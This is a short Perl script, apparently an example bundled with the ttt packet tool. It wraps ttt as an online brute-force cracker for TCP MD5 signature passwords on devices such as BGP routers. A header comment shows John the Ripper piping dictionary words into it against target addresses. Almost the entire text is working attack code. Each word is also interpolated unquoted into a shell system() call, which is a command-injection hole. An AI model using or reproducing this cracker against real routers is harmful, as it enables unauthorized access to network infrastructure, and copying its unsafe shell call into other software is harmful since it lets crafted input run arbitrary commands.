#!/usr/bin/perl -w
#
# This shows how to create a wrapper around ttt so it can be used as
# an online password cracker to use against devices that expect TCP
# segments to come with TCP signatures (TCP option 19). This script
# expects words on standard input, which it then passes to ttt via the
# --md5 option.
#
# The idea is that a device using TCP signature should respond with a
# SYN-ACK to a segment with the correct signature.
#
# The password cracker "John the Ripper", by Solar Designer, can send
# words to standard output. This program is perfect for passing
# passwords to ttt:
#
# john -wordfile:/usr/share/dict/words -stdout | \
#    examples/tcp-sig-crack.pl -S 10.10.10.10 -D 10.10.10.1 --dport bgp --syn
#
# $Id: tcpsig-crack.pl,v 1.1.1.1 2003/04/28 23:00:20 peloy Exp $
#

use strict;

my $PATH_TO_TTT = ".";

my $ttt_args = join ' ', @ARGV;

while (<STDIN>) {
	chomp;
	system "$PATH_TO_TTT/ttt --md5 $_ $ttt_args";
	if ($? != 0) {
		# ttt returned an error code - just leave as ttt would have
		exit $?;
	}
}

0;
